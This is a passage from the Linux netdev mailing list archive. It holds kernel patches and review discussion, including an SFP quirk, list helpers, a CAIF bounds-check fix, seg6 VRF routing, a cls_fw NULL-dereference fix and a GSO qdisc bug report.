[ 628.891949][ C0] CR2: 00007f7fe6c9f350 CR3: 0000000031de6000 CR4: 0000000000750ef0
[ 628.892613][ C0] PKRU: 55555554
[ 628.892925][ C0] Call Trace:
[ 628.893226][ C0] <IRQ>
[ 628.945597][ C0] Modules linked in:
[ 628.946047][ C0] ---[ end trace 0000000000000000 ]---
[ 628.946512][ C0] RIP: 0010:xsk_generic_rcv+0x1c1/0x460
[ 628.954560][ C0] Kernel panic - not syncing: Fatal exception in interrupt
[ 628.955982][ C0] Kernel Offset: disabled
Best regards
Linpu Yu
Linpu Yu (1):
xskmap: reject TX-only AF_XDP sockets
net/xdp/xskmap.c | 4 ++++
1 file changed, 4 insertions(+)
--
2.53.0
^ permalink raw reply
* Re: [PATCH 0/5] hamradio: mkiss: modernize and clean up mkiss driver
From: Mashiro Chen @ 2026-03-29 19:19 UTC (permalink / raw)
To: kuba
Cc: andrew+netdev, davem, edumazet, linux-hams, linux-kernel,
mashiro.chen, netdev, pabeni
In-Reply-To: <20260329103508.4905cc09@kernel.org>
Hi Jakub,
Thank you for the quick review and for pointing out the Netdev policy
regarding clean-up patches. I apologize for the noise; I was not fully
aware of the specific guidelines for the Netdev subsystem in this regard.
I will respect these guidelines and focus my further contributions on
functional improvements or bug fixes.
Regarding the current series, I understand them do not meet the Netdev
Standard for clean-up patches and I will drop these submissions.
Thank you again for your time and guidance.
Best Regards,
Mashiro Chen
^ permalink raw reply
* [PATCH net-next v2] net: sfp: add quirk for ZOERAX SFP-2.5G-T
From: Jan Hoffmann @ 2026-03-29 19:11 UTC (permalink / raw)
To: Russell King, Andrew Lunn, Heiner Kallweit, David S. Miller,
Eric Dumazet, Jakub Kicinski, Paolo Abeni
Cc: netdev, linux-kernel, Jan Hoffmann
This is a 2.5G copper module which appears to be based on a Motorcomm
YT8821 PHY. There doesn't seem to be a usable way to to access the PHY
(I2C address 0x56 provides only read-only C22 access, and Rollball is
also not working).
The module does not report the correct extended compliance code for
2.5GBase-T, and instead claims to support SONET OC-48 and Fibre Channel:
Identifier : 0x03 (SFP)
Extended identifier : 0x04 (GBIC/SFP defined by 2-wire interface ID)
Connector : 0x07 (LC)
Transceiver codes : 0x00 0x01 0x00 0x00 0x40 0x40 0x04 0x00 0x00
Transceiver type : FC: Multimode, 50um (M5)
Encoding : 0x05 (SONET Scrambled)
BR Nominal : 2500MBd
Despite this, the kernel still enables the correct 2500Base-X interface
mode. However, for the module to actually work, it is also necessary to
disable inband auto-negotiation.
Enable the existing "sfp_quirk_oem_2_5g" for this module, which handles
that and also sets the bit for 2500Base-T link mode.
Signed-off-by: Jan Hoffmann <jan@3e8.eu>
---
v2:
- use "sfp_quirk_oem_2_5g" instead of "sfp_quirk_disable_autoneg"
drivers/net/phy/sfp.c | 2 ++
1 file changed, 2 insertions(+)
diff --git a/drivers/net/phy/sfp.c b/drivers/net/phy/sfp.c
index 5db841377199..0a455a2daccb 100644
--- a/drivers/net/phy/sfp.c
+++ b/drivers/net/phy/sfp.c
@@ -567,6 +567,8 @@ static const struct sfp_quirk sfp_quirks[] = {
SFP_QUIRK_F("Turris", "RTSFP-2.5G", sfp_fixup_rollball),
SFP_QUIRK_F("Turris", "RTSFP-10", sfp_fixup_rollball),
SFP_QUIRK_F("Turris", "RTSFP-10G", sfp_fixup_rollball),
+
+ SFP_QUIRK_S("ZOERAX", "SFP-2.5G-T", sfp_quirk_oem_2_5g),
};
static size_t sfp_strlen(const char *str, size_t maxlen)
--
2.53.0
^ permalink raw reply related
* Re: [PATCH net v3 04/11] list: Move on_list_rcu() to list.h and add on_list() also
From: Jakub Kicinski @ 2026-03-29 19:14 UTC (permalink / raw)
To: David Howells
Cc: netdev, Marc Dionne, David S. Miller, Eric Dumazet, Paolo Abeni,
linux-afs, linux-kernel, Mathieu Desnoyers, John Johansen,
Minas Harutyunyan, Simon Horman, apparmor, linux-usb, stable
In-Reply-To: <20260326131838.634095-5-dhowells@redhat.com>
On Thu, 26 Mar 2026 13:18:29 +0000 David Howells wrote:
> Unfortunately, list_empty() is not usable with an entry that has been
> removed from a list with list_del_rcu() as ->next must be left pointing at
> the following entry so as not to break traversal under RCU.
This seems to break build for jffs.
Someone already marked this as rejected in PW.
Whoever it was PLEASE STOP.
Quoting documentation:
Updating patch status
~~~~~~~~~~~~~~~~~~~~~
Contributors and reviewers do not have the permissions to update patch
state directly in patchwork. Patchwork doesn't expose much information
about the history of the state of patches, therefore having multiple
people update the state leads to confusion.
Instead of delegating patchwork permissions netdev uses a simple mail
bot which looks for special commands/lines within the emails sent to
the mailing list. For example to mark a series as Changes Requested
one needs to send the following line anywhere in the email thread::
pw-bot: changes-requested
As a result the bot will set the entire series to Changes Requested.
This may be useful when author discovers a bug in their own series
and wants to prevent it from getting applied.
The use of the bot is entirely optional, if in doubt ignore its
existence completely. Maintainers will classify and update the state
of the patches themselves. No email should ever be sent to the list
with the main purpose of communicating with the bot, the bot commands
should be seen as metadata.
The use of the bot is restricted to authors of the patches (the
``From:`` header on patch submission and command must match!),
maintainers of the modified code according to the MAINTAINERS file
(again, ``From:`` must match the MAINTAINERS entry) and a handful of
senior reviewers.
Bot records its activity here:
https://netdev.bots.linux.dev/pw-bot.html
See:
https://www.kernel.org/doc/html/next/process/maintainer-netdev.html#updating-patch-status
^ permalink raw reply
* Re: [PATCH net v3 04/11] list: Move on_list_rcu() to list.h and add on_list() also
From: Jakub Kicinski @ 2026-03-29 19:12 UTC (permalink / raw)
To: David Howells
Cc: netdev, Marc Dionne, David S. Miller, Eric Dumazet, Paolo Abeni,
linux-afs, linux-kernel, Mathieu Desnoyers, John Johansen,
Minas Harutyunyan, Simon Horman, apparmor, linux-usb, stable,
Linus Torvalds
In-Reply-To: <20260326131838.634095-5-dhowells@redhat.com>
On Thu, 26 Mar 2026 13:18:29 +0000 David Howells wrote:
> diff --git a/include/linux/list.h b/include/linux/list.h
> index 00ea8e5fb88b..d224e7210d1b 100644
> --- a/include/linux/list.h
> +++ b/include/linux/list.h
> @@ -381,6 +381,32 @@ static inline int list_empty(const struct list_head *head)
> return READ_ONCE(head->next) == head;
> }
>
> +/**
> + * on_list - Test whether an entry is on a list.
> + * @entry: The entry to check
> + *
> + * Test whether an entry is on a list. Safe to use on an entry initialised
> + * with INIT_LIST_HEAD() or LIST_HEAD() or removed with things like
> + * list_del_init(). Not safe for use with list_del() or list_del_rcu().
> + */
> +static inline bool on_list(const struct list_head *entry)
> +{
> + return !list_empty(entry);
> +}
> +
> +/**
> + * on_list_rcu - Test whether an entry is on a list (RCU-del safe).
> + * @entry: The entry to check
> + *
> + * Test whether an entry is on a list. Safe to use on an entry initialised
> + * with INIT_LIST_HEAD() or LIST_HEAD() or removed with things like
> + * list_del_init(). Also safe for use with list_del() or list_del_rcu().
> + */
> +static inline bool on_list_rcu(const struct list_head *entry)
> +{
> + return !list_empty(entry) && entry->prev != LIST_POISON2;
> +}
Could someone with sufficient weight to their name ack this?
The non-RCU version of on_list() does not sit well with me.
It provides no additional semantics above list_empty() and
the uninit / poison-related gotchas more obvious when typing
!list_empty(&entry->list).
I can believe the RCU version is more useful. It could probably
be used on both RCU and non-RCU entries?
Last minor nit - the list API consistently uses list_ as a prefix.
I have no better name to suggest but it's sad that on_list_rcu()
breaks that.
I think you're missing a READ_ONCE(), BTW.
^ permalink raw reply
* [PATCH v3] net: caif: fix stack out-of-bounds write in cfctrl_link_setup()
From: Kangzheng Gu @ 2026-03-29 19:03 UTC (permalink / raw)
To: davem, edumazet, kuba, pabeni, horms, kees, thorsten.blum, arnd,
sjur.brandeland, xiaoguai0992
Cc: netdev, linux-kernel, stable
In-Reply-To: <CAKvcANP6ihR9ZJpm73ep6aTPqzcpVhTHsVSgGBd28HwwfdBcxw@mail.gmail.com>
cfctrl_link_setup() copies the RFM volume name from a received control
packet into linkparam.u.rfm.volume until a '\0' is found. A malformed
packet can omit the terminator and make the copy run past the 20-byte
stack buffer.
Stop copying once the buffer is full and mark the frame as failed by
setting CFCTRL_ERR_BIT so the link setup is rejected.
Fixes: b482cd2053e3 ("net-caif: add CAIF core protocol stack")
Cc: stable@vger.kernel.org
Signed-off-by: Kangzheng Gu <xiaoguai0992@gmail.com>
---
v3:
- remove the Reported-by.
- print a warn message and reject link setup by setting CFCTRL_ERR_BIT.
net/caif/cfctrl.c | 10 +++++++++-
1 file changed, 9 insertions(+), 1 deletion(-)
diff --git a/net/caif/cfctrl.c b/net/caif/cfctrl.c
index c6cc2bfed65d..373ab1dc67a7 100644
--- a/net/caif/cfctrl.c
+++ b/net/caif/cfctrl.c
@@ -416,8 +416,16 @@ static int cfctrl_link_setup(struct cfctrl *cfctrl, struct cfpkt *pkt, u8 cmdrsp
cp = (u8 *) linkparam.u.rfm.volume;
for (tmp = cfpkt_extr_head_u8(pkt);
cfpkt_more(pkt) && tmp != '\0';
- tmp = cfpkt_extr_head_u8(pkt))
+ tmp = cfpkt_extr_head_u8(pkt)) {
+ if (cp >= (u8 *)linkparam.u.rfm.volume +
+ sizeof(linkparam.u.rfm.volume) - 1) {
+ pr_warn("Request reject, volume name length exceeds %lu\n",
+ sizeof(linkparam.u.rfm.volume));
+ cmdrsp |= CFCTRL_ERR_BIT;
+ break;
+ }
*cp++ = tmp;
+ }
*cp = '\0';
if (CFCTRL_ERR_BIT & cmdrsp)
--
2.50.1
^ permalink raw reply related
* Re: [PATCH net-next v2] seg6: enable route leak for encap routes
From: Andrea Mayer @ 2026-03-29 18:58 UTC (permalink / raw)
To: Nicolas Dichtel
Cc: David S . Miller, Jakub Kicinski, Paolo Abeni, Eric Dumazet,
David Lebrun, David Ahern, netdev, stefano.salsano,
Paolo Lungaroni, ahabdels, Andrea Mayer
In-Reply-To: <20260327140709.959636-1-nicolas.dichtel@6wind.com>
On Fri, 27 Mar 2026 15:06:24 +0100
Nicolas Dichtel <nicolas.dichtel@6wind.com> wrote:
> The goal is to support x-vrf route. To avoid breaking existing setup, a new
> flag is introduced: nh-vrf.
>
> The dev parameter is mandatory when a seg6 encap route is configured, but
> before this commit, it is ignored/not used. After the srv6 encapsulation, a
> second route lookup in the same vrf is performed.
>
> The new nh-vrf flag specifies to use the vrf associated with the dev
> parameter to perform this second route lookup.
>
Hi Nicolas,
thanks for looking into this. The use case is valid and limiting the
effect of nh-vrf to routes that explicitly carry the attribute avoids
regressions, which is good.
I have a few thoughts on the nh-vrf semantics though. The attribute
says "use the VRF of dev", but in your use case dev is not in any
VRF, so the lookup ends up in the main table as a side effect of
the loopback fallback, which is not obvious from the attribute
name. Today dev is used for source address selection in
set_tun_src() and has no routing role; nh-vrf would give it one
that does not match what actually happens.
>
> [snip]
>
> Fixes: 6c8702c60b88 ("ipv6: sr: add support for SRH encapsulation and injection with lwtunnels")
This looks like a leftover from v1; since this is new UAPI on
net-next, the Fixes tag should not be here.
> Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
> ---
>
> v1 -> v2:
> - target net-next instead of net
> - add a new attribute to avoid breaking the legacy behavior
> - use dst_dev_rcu()
>
> include/uapi/linux/seg6_iptunnel.h | 1 +
> net/ipv6/seg6_iptunnel.c | 23 ++++++++++--
> .../selftests/net/srv6_end_dt46_l3vpn_test.sh | 35 +++++++++++++++++--
> .../selftests/net/srv6_end_dt4_l3vpn_test.sh | 33 +++++++++++++++--
> .../selftests/net/srv6_end_dt6_l3vpn_test.sh | 33 +++++++++++++++--
> 5 files changed, 116 insertions(+), 9 deletions(-)
>
> diff --git a/include/uapi/linux/seg6_iptunnel.h b/include/uapi/linux/seg6_iptunnel.h
> index 485889b19900..d7d6aa2f72c5 100644
> --- a/include/uapi/linux/seg6_iptunnel.h
> +++ b/include/uapi/linux/seg6_iptunnel.h
> @@ -21,6 +21,7 @@ enum {
> SEG6_IPTUNNEL_UNSPEC,
> SEG6_IPTUNNEL_SRH,
> SEG6_IPTUNNEL_SRC, /* struct in6_addr */
> + SEG6_IPTUNNEL_NH_VRF,
> __SEG6_IPTUNNEL_MAX,
> };
> #define SEG6_IPTUNNEL_MAX (__SEG6_IPTUNNEL_MAX - 1)
> diff --git a/net/ipv6/seg6_iptunnel.c b/net/ipv6/seg6_iptunnel.c
> index e76cc0cc481e..f8c6f0d719be 100644
> --- a/net/ipv6/seg6_iptunnel.c
> +++ b/net/ipv6/seg6_iptunnel.c
> @@ -50,6 +50,7 @@ static size_t seg6_lwt_headroom(struct seg6_iptunnel_encap *tuninfo)
> struct seg6_lwt {
> struct dst_cache cache;
> struct in6_addr tunsrc;
> + bool nh_vrf;
> struct seg6_iptunnel_encap tuninfo[];
> };
>
> @@ -67,6 +68,7 @@ seg6_encap_lwtunnel(struct lwtunnel_state *lwt)
> static const struct nla_policy seg6_iptunnel_policy[SEG6_IPTUNNEL_MAX + 1] = {
> [SEG6_IPTUNNEL_SRH] = { .type = NLA_BINARY },
> [SEG6_IPTUNNEL_SRC] = NLA_POLICY_EXACT_LEN(sizeof(struct in6_addr)),
> + [SEG6_IPTUNNEL_NH_VRF] = { .type = NLA_FLAG },
> };
>
> static int nla_put_srh(struct sk_buff *skb, int attrtype,
> @@ -499,9 +501,15 @@ static int seg6_input_core(struct net *net, struct sock *sk,
> * now and use it later as a comparison.
> */
> lwtst = orig_dst->lwtstate;
> -
> slwt = seg6_lwt_lwtunnel(lwtst);
>
> + if (slwt->nh_vrf) {
> + rcu_read_lock();
> + skb->dev = l3mdev_master_dev_rcu(dst_dev_rcu(orig_dst)) ?:
> + dev_net(skb->dev)->loopback_dev;
> + rcu_read_unlock();
> + }
> +
> [snip]
>
Overwriting skb->dev alters flowi6_iif, which affects ip rule matching
on the ingress interface and changes what netfilter FORWARD sees as "in"
device. Also, seg6_output_core() never checks nh_vrf and its fl6 is
built without involving skb->dev, so this only works for forwarded
traffic. These aspects would need to be addressed in any case.
Looking at this from a different angle, specifying the FIB table ID
directly could be a more natural fit here. Something like
SEG6_IPTUNNEL_TABLE (u32) with fib6_get_table() + ip6_pol_route(),
similar to seg6_lookup_any_nexthop() in seg6_local.c.
It would work for both input and output with no need to touch skb->dev.
For example:
ip -6 route add cafe::1/128 vrf vrf-100 \
encap seg6 mode encap segs fc00::1 lookup 254 dev veth0
Beyond the semantics, a table ID is also more general: it covers
the main table, tables associated with VRFs, and custom tables with
the same mechanism, and keeps dev consistent with its current role
across behaviors. I think we should explore this direction before
moving forward. I am happy to help if you want.
Thanks,
Andrea
^ permalink raw reply
* Re: [BUG] net: ethernet: cortina: gemini: skb leak in gmac_rx() causes kernel lockup under sustained RX load
From: Linus Walleij @ 2026-03-29 18:54 UTC (permalink / raw)
To: Andreas Haarmann-Thiemann; +Cc: ulli.kroll, netdev, linux-arm-kernel
In-Reply-To: <006201dcbf63$84593aa0$8d0bafe0$@nebelreich.de>
Hi Andreas,
thanks for digging into this, I have wondered why this happens for a long
time but I'm not the best net developer myself.
On Sun, Mar 29, 2026 at 12:05 PM Andreas Haarmann-Thiemann
<eitschman@nebelreich.de> wrote:
> diff --git a/drivers/net/ethernet/cortina/gemini.c b/drivers/net/ethernet/cortina/gemini.c
> --- a/drivers/net/ethernet/cortina/gemini.c
> +++ b/drivers/net/ethernet/cortina/gemini.c
>
> @@ -1491,6 +1491,10 @@ static int gmac_rx(struct napi_struct *napi, int budget)
> gpage = gmac_get_queue_page(geth, port, mapping + PAGE_SIZE);
> if (!gpage) {
> dev_err(geth->dev, "could not find mapping\n");
> + if (skb) {
> + napi_free_frags(&port->napi);
> + skb = NULL;
> + }
> port->stats.rx_dropped++;
> continue;
> }
This looks right to me, can you send a proper patch, or provide your
Signed-off-by in this thread so I can create a patch from this inline code?
The kernel process requires a "certificate of origin" i.e. Signed-off-by,
described a bit down in this document:
https://docs.kernel.org/process/submitting-patches.html
Yours,
Linus Walleij
^ permalink raw reply
* [PATCH] net: microchip: dead code cleanup in kconfig for FDMA
From: Julian Braha @ 2026-03-29 18:53 UTC (permalink / raw)
To: pabeni, davem, daniel.machon
Cc: andrew+netdev, edumazet, kuba, linux-kernel, netdev, Julian Braha
The Kconfig in the parent directory already has the first 'if NET_VENDOR_MICROCHIP'
gating the inclusion of this Kconfig, meaning that the second
'if NET_VENDOR_MICROCHIP' condition is effectively dead code.
I propose removing the second 'if NET_VENDOR_MICROCHIP' in
drivers/net/ethernet/microchip/fdma/Kconfig
This dead code was found by kconfirm, a static analysis tool for Kconfig.
Signed-off-by: Julian Braha <julianbraha@gmail.com>
---
drivers/net/ethernet/microchip/fdma/Kconfig | 4 ----
1 file changed, 4 deletions(-)
diff --git a/drivers/net/ethernet/microchip/fdma/Kconfig b/drivers/net/ethernet/microchip/fdma/Kconfig
index ec228c061351..57a54e7167d3 100644
--- a/drivers/net/ethernet/microchip/fdma/Kconfig
+++ b/drivers/net/ethernet/microchip/fdma/Kconfig
@@ -3,8 +3,6 @@
# Microchip FDMA API configuration
#
-if NET_VENDOR_MICROCHIP
-
config FDMA
bool "FDMA API" if COMPILE_TEST
help
@@ -14,5 +12,3 @@ config FDMA
Say Y here if you want to build the FDMA API that provides a common
set of functions and data structures for interacting with the Frame
DMA engine in multiple microchip switchcores.
-
-endif # NET_VENDOR_MICROCHIP
--
2.51.2
^ permalink raw reply related
* Re: [PATCH net 1/3] net/sched: cls_fw: fix NULL pointer dereference on shared blocks
From: Xiang Mei @ 2026-03-29 18:52 UTC (permalink / raw)
To: Jamal Hadi Salim
Cc: netdev, jiri, davem, edumazet, kuba, horms, shuah, bestswngs
In-Reply-To: <CAM0EoMmVey4ayJBZgogMO4S3Z-_n5oDfasdZyiVryEqCNqu6bw@mail.gmail.com>
On Sun, Mar 29, 2026 at 08:15:17AM -0400, Jamal Hadi Salim wrote:
> On Fri, Mar 27, 2026 at 10:11 AM Jamal Hadi Salim <jhs@mojatatu.com> wrote:
> >
> > On Fri, Mar 27, 2026 at 2:13 AM Xiang Mei <xmei5@asu.edu> wrote:
> > >
> > > The old-method path in fw_classify() calls tcf_block_q() and
> > > dereferences q->handle. Shared blocks leave block->q NULL, causing a
> > > NULL deref when an empty cls_fw filter is attached to a shared block
> > > and a packet with a nonzero major skb mark is classified.
> > >
> > > Check tcf_block_shared() before accessing block->q and return -1 (no
> > > match) for shared blocks, consistent with cls_u32's tc_u_common_ptr().
> > >
> > > The fixed null-ptr-deref calling stack:
> > > KASAN: null-ptr-deref in range [0x0000000000000038-0x000000000000003f]
> > > RIP: 0010:fw_classify (net/sched/cls_fw.c:81)
> > > Call Trace:
> > > tcf_classify (./include/net/tc_wrapper.h:197 net/sched/cls_api.c:1764 net/sched/cls_api.c:1860)
> > > tc_run (net/core/dev.c:4401)
> > > __dev_queue_xmit (net/core/dev.c:4535 net/core/dev.c:4790)
> > >
> > > Fixes: 1abf272022cf ("net: sched: tcindex, fw, flow: use tcf_block_q helper to get struct Qdisc")
> > > Reported-by: Weiming Shi <bestswngs@gmail.com>
> > > Signed-off-by: Xiang Mei <xmei5@asu.edu>
> >
> > Thanks for also providing the tdc tests. Looks like a bizarre bug—and
> > in my mind the question is does fw or flow even factor into tc blocks?
> > Please give me time to review if the approach makes sense - perhaps
> > this weekend.
> >
> Since the fix is exactly as what u32 does - why not move
> tc_u_common_ptr() to a header file (pkt_cls.h)? then reuse it in u32,
> fw, and flow.
Thank you for the suggestion, I appreciate the review.
I spent some time exploring how to reuse tc_u_common_ptr() in cls_fw and
cls_flow, but I'm not sure I see a clean way to make it work across all
three classifiers. The core issue is that they need different things
when the block is shared:
- cls_u32 needs a pointer value (block or block->q) as a hash key for
tc_u_common lookup
- cls_fw and cls_flow need to bail out and return -1 (no match)
If we keep tc_u_common_ptr() as-is (returning void *), the usage in
fw/flow would be tc_u_common_ptr(tp) == block to detect shared blocks,
which is less clear than tcf_block_shared(block) and doesn't save any
code.
If we rework it to return struct Qdisc * (NULL for shared), it would
break cls_u32's current usage where it needs the block pointer itself
as a hash key for the shared case.
I may be misunderstanding your suggestion though — could you share
what you had in mind?
Thank you again for your time,
Xiang
>
> I am still questioning the value of using blocks with these two
> classifiers and unfortunately the commit message of 1abf272022cf was
> not helpful.
> The testcases look good. Please add a letter head, perhaps quote the
> comment in tc_u_common_ptr() since it gives a good description of this
> whole dance.
>
> cheers,
> jamal
^ permalink raw reply
* Re: [PATCH net-next 00/10] net: stmmac: TSO fixes/cleanups
From: Russell King (Oracle) @ 2026-03-29 18:51 UTC (permalink / raw)
To: Jakub Kicinski
Cc: Andrew Lunn, Alexandre Torgue, Andrew Lunn, David S. Miller,
Eric Dumazet, linux-arm-kernel, linux-stm32, netdev,
Ong Boon Leong, Paolo Abeni
In-Reply-To: <20260329111123.740bada9@kernel.org>
On Sun, Mar 29, 2026 at 11:11:23AM -0700, Jakub Kicinski wrote:
> On Sat, 28 Mar 2026 21:36:21 +0000 Russell King (Oracle) wrote:
> > Hot off the press from reading various sources of dwmac information,
> > this series attempts to fix the buggy hacks that were previously
> > merged, and clean up the code handling this.
>
> We have a limit of 15 outstanding patches per tree.
> Please follow the community guidelines.
I see that restriction was newly introduced back in January.
> While I have you - you have a significantly negative "reviewer score".
> You post much more than you review. Which should earn you extra 24h
> of delay in our system. I've been trying to ignore that and prioritize
> applying your patches but it'd be great if you could review a bit more.
Sorry, but given the effort that stmmac is taking, I don't have much
capacity to extend mental cycles elsewhere.
This two patch series wouldn't have exploded into ten (or maybe even
more) patches had someone not pointed out the problem with
suspend/resume interacting with disabling TSO... which prompted me to
look deeper and discover a multitude of other problems. Should I
instead ignore these bugs and not bother trying to fix this stuff?
Honestly, I'm getting tired of stmmac with it sucking lots of my time,
and I suspect you're getting tired of the constant stream of patches
for it - but the reason there's a constant stream is because there's
so much that's wrong or broken in this driver.
So either we let the driver rot, or... what?
--
RMK's Patch system: https://www.armlinux.org.uk/developer/patches/
FTTP is here! 80Mbps down 10Mbps up. Decent connectivity at last!
^ permalink raw reply
* Re: [PATCH] net: stmmac: dwmac-rk: Fix typo in comment
From: patchwork-bot+netdevbpf @ 2026-03-29 18:50 UTC (permalink / raw)
To: =?utf-8?b?6LCi6Ie06YKmIChYSUUgWmhpYmFuZykgPFlla2luZ0ByZWQ1NC5jb20+?=
Cc: linux-rockchip, Yeking, heiko, andrew+netdev, davem, edumazet,
kuba, pabeni, mcoquelin.stm32, alexandre.torgue, rmk+kernel,
linux-arm-kernel, netdev, linux-stm32, linux-kernel
In-Reply-To: <tencent_833D2AD6577F21CF38ED1C3FE8814EB4B308@qq.com>
Hello:
This patch was applied to netdev/net-next.git (main)
by Jakub Kicinski <kuba@kernel.org>:
On Sat, 28 Mar 2026 13:43:31 +0000 you wrote:
> Correct the typo "rk3520" to "rk3528" in comment.
>
> Signed-off-by: 谢致邦 (XIE Zhibang) <Yeking@Red54.com>
> ---
> drivers/net/ethernet/stmicro/stmmac/dwmac-rk.c | 2 +-
> 1 file changed, 1 insertion(+), 1 deletion(-)
Here is the summary with links:
- net: stmmac: dwmac-rk: Fix typo in comment
https://git.kernel.org/netdev/net-next/c/30fcf28d83ee
You are awesome, thank you!
--
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html
^ permalink raw reply
* Re: [PATCH v2 net-next] tcp: use __jhash_final() in inet6_ehashfn()
From: patchwork-bot+netdevbpf @ 2026-03-29 18:50 UTC (permalink / raw)
To: Eric Dumazet
Cc: davem, kuba, pabeni, horms, ncardwell, kuniyu, netdev,
eric.dumazet
In-Reply-To: <20260327040646.3849503-1-edumazet@google.com>
Hello:
This patch was applied to netdev/net-next.git (main)
by Jakub Kicinski <kuba@kernel.org>:
On Fri, 27 Mar 2026 04:06:46 +0000 you wrote:
> I misread jhash2() implementation.
>
> Last round should use __jhash_final() instead of __jhash_mix().
>
> Using __jhash_mix() here leaves entropy distributed across a, b, and c,
> which might lead to incomplete diffusion of the faddr and fport bits
> into the bucket index. Replacing this last __jhash_mix() with
> __jhash_final() provides the correct avalanche properties
> for the returned value in c.
>
> [...]
Here is the summary with links:
- [v2,net-next] tcp: use __jhash_final() in inet6_ehashfn()
https://git.kernel.org/netdev/net-next/c/02d0e59e36e0
You are awesome, thank you!
--
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html
^ permalink raw reply
* Re: [PATCH 00/11 net-next v5] Convert CONFIG_IPV6 to built-in and remove stubs
From: patchwork-bot+netdevbpf @ 2026-03-29 18:50 UTC (permalink / raw)
To: Fernando Fernandez Mancera
Cc: netdev, davem, edumazet, kuba, pabeni, horms, dsahern, rbm,
linux-kernel
In-Reply-To: <20260325120928.15848-1-fmancera@suse.de>
Hello:
This series was applied to netdev/net-next.git (main)
by Jakub Kicinski <kuba@kernel.org>:
On Wed, 25 Mar 2026 13:08:41 +0100 you wrote:
> Historically, the Linux kernel has supported compiling the IPv6 stack as
> a loadable module. While this made sense in the early days of IPv6
> adoption, modern deployments and distributions overwhelmingly either
> build IPv6 directly into the kernel (CONFIG_IPV6=y) or disable it
> entirely (CONFIG_IPV6=n). The modular IPv6 use-case offers image size
> and memory savings for specific setups, this benefit is outweighed by
> the architectural burden it imposes on the subsystems on implementation
> and maintenance.
>
> [...]
Here is the summary with links:
- [01/11,net-next,v5] ipv6: convert CONFIG_IPV6 to built-in only and clean up Kconfigs
https://git.kernel.org/netdev/net-next/c/309b905deee5
- [02/11,net-next,v5] net: remove EXPORT_IPV6_MOD() and EXPORT_IPV6_MOD_GPL() macros
https://git.kernel.org/netdev/net-next/c/0557a34487b1
- [03/11,net-next,v5] ipv6: replace IS_BUILTIN(CONFIG_IPV6) with IS_ENABLED(CONFIG_IPV6)
https://git.kernel.org/netdev/net-next/c/fde39f7df10b
- [04/11,net-next,v5] ipv6: remove dynamic ICMPv6 sender registration infrastructure
https://git.kernel.org/netdev/net-next/c/d2042d35f413
- [05/11,net-next,v5] ipv6: prepare headers for ipv6_stub removal
https://git.kernel.org/netdev/net-next/c/4b70b2021504
- [06/11,net-next,v5] drivers: net: drop ipv6_stub usage and use direct function calls
https://git.kernel.org/netdev/net-next/c/29ae61b2fe7e
- [07/11,net-next,v5] ipv4: drop ipv6_stub usage and use direct function calls
https://git.kernel.org/netdev/net-next/c/d98adfbdd5c0
- [08/11,net-next,v5] net: convert remaining ipv6_stub users to direct function calls
https://git.kernel.org/netdev/net-next/c/d76f6b170a10
- [09/11,net-next,v5] bpf: remove ipv6_bpf_stub completely and use direct function calls
https://git.kernel.org/netdev/net-next/c/ad84b1eefe28
- [10/11,net-next,v5] ipv6: remove ipv6_stub infrastructure completely
https://git.kernel.org/netdev/net-next/c/964870b4b901
- [11/11,net-next,v5] netfilter: remove nf_ipv6_ops and use direct function calls
https://git.kernel.org/netdev/net-next/c/b2c981e7c465
You are awesome, thank you!
--
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html
^ permalink raw reply
* Re: [RFC Patch net-next 0/2] net_sched: Move GSO segmentation to root qdisc
From: Jamal Hadi Salim @ 2026-03-29 18:38 UTC (permalink / raw)
To: Mingi Cho; +Cc: netdev, jiri, victor
In-Reply-To: <20260326102938.GA73145@mingi>
On Thu, Mar 26, 2026 at 6:29 AM Mingi Cho <mgcho.minic@gmail.com> wrote:
>
> Hi,
>
> On Fri, Mar 13, 2026 at 03:23:42PM -0400, Jamal Hadi Salim wrote:
> > Hi,
> >
> > On Fri, Mar 13, 2026 at 9:38 AM Mingi Cho <mgcho.minic@gmail.com> wrote:
> > >
> > > On Thu, Mar 12, 2026 at 04:21:07PM -0400, Jamal Hadi Salim wrote:
> > > > On Thu, Mar 12, 2026 at 12:58 PM Mingi Cho <mgcho.minic@gmail.com> wrote:
> > > > >
> > > > > On Tue, Jul 01, 2025 at 04:29:13PM -0700, Cong Wang wrote:
> > > > > > This patchset attempts to move the GSO segmentation in Qdisc layer from
> > > > > > child qdisc up to root qdisc. It fixes the complex handling of GSO
> > > > > > segmentation logic and unifies the code in a generic way. The end result
> > > > > > is cleaner (see the patch stat) and hopefully keeps the original logic
> > > > > > of handling GSO.
> > > > > >
> > > > > > This is an architectural change, hence I am sending it as an RFC. Please
> > > > > > check each patch description for more details. Also note that although
> > > > > > this patchset alone could fix the UAF reported by Mingi, the original
> > > > > > UAF can also be fixed by Lion's patch [1], so this patchset is just an
> > > > > > improvement for handling GSO segmentation.
> > > > > >
> > > > > > TODO: Add some selftests.
> > > > > >
> > > > > > 1. https://lore.kernel.org/netdev/d912cbd7-193b-4269-9857-525bee8bbb6a@gmail.com/
> > > > > >
> > > > > > ---
> > > > > > Cong Wang (2):
> > > > > > net_sched: Move GSO segmentation to root qdisc
> > > > > > net_sched: Propagate per-qdisc max_segment_size for GSO segmentation
> > > > > >
> > > > > > include/net/sch_generic.h | 4 +-
> > > > > > net/core/dev.c | 52 +++++++++++++++++++---
> > > > > > net/sched/sch_api.c | 14 ++++++
> > > > > > net/sched/sch_cake.c | 93 +++++++++++++--------------------------
> > > > > > net/sched/sch_netem.c | 32 +-------------
> > > > > > net/sched/sch_taprio.c | 76 +++++++-------------------------
> > > > > > net/sched/sch_tbf.c | 59 +++++--------------------
> > > > > > 7 files changed, 123 insertions(+), 207 deletions(-)
> > > > > >
> > > > > > --
> > > > > > 2.34.1
> > > > > >
> > > > >
> > > > > Hi Cong,
> > > > >
> > > > > I tested the proposed patch and found that the reported bug was fixed. A qlen mismatch between Qdiscs can potentially cause UAF, so I believe this patch needs to be applied.
> > > > >
> > > > > When executing the PoC on the latest kernel without the patch applied, a warning message occurs in drr_dequeue() as shown below.
> > > > >
> > > > > Before applying the patch:
> > > > >
> > > > > root@test:~# ./poc
> > > > > qdisc drr 1: dev lo root refcnt 2
> > > > > qdisc tbf 2: dev lo parent 1:1 rate 1Mbit burst 1514b lat 50.0ms
